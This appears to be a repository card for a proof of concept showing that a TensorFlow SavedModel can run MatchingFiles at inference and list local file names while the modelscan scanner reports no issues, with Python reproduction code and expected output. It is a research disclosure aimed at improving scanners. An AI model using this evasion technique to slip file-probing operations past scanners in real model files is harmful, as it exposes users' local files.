You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

modelscan SavedModel MatchingFiles scanner bypass PoC

This repository contains a minimal TensorFlow SavedModel whose default serving_default signature executes tf.raw_ops.MatchingFiles with the embedded pattern probe_dir/*.marker.

The model is intentionally harmless. It does not read file contents and does not execute arbitrary code. It demonstrates that a SavedModel can expose local file path names at inference time while the current modelscan default TensorFlow SavedModel scanner reports zero issues.

Reproduction

import pathlib
import os
import tensorflow as tf
from modelscan.modelscan import ModelScan

root = pathlib.Path.cwd()
(root / "probe_dir").mkdir(exist_ok=True)
(root / "probe_dir" / "proof_private_name.marker").write_text("marker only\n")
(root / "probe_dir" / "public.marker").write_text("marker only\n")

scanner = ModelScan()
scanner.scan(str(root / "saved_model"))
print("modelscan issues:", len(scanner.issues.all_issues))

loaded = tf.saved_model.load(str(root / "saved_model"))
result = loaded.signatures["serving_default"]()
print([value.decode("utf-8") for value in result["matched_paths"].numpy().tolist()])

Expected result:

modelscan issues: 0
['probe_dir/proof_private_name.marker', 'probe_dir/public.marker']

Downloads last month: -

Inference Providers NEW

This model isn't deployed by any Inference Provider. 🙋 Ask for provider support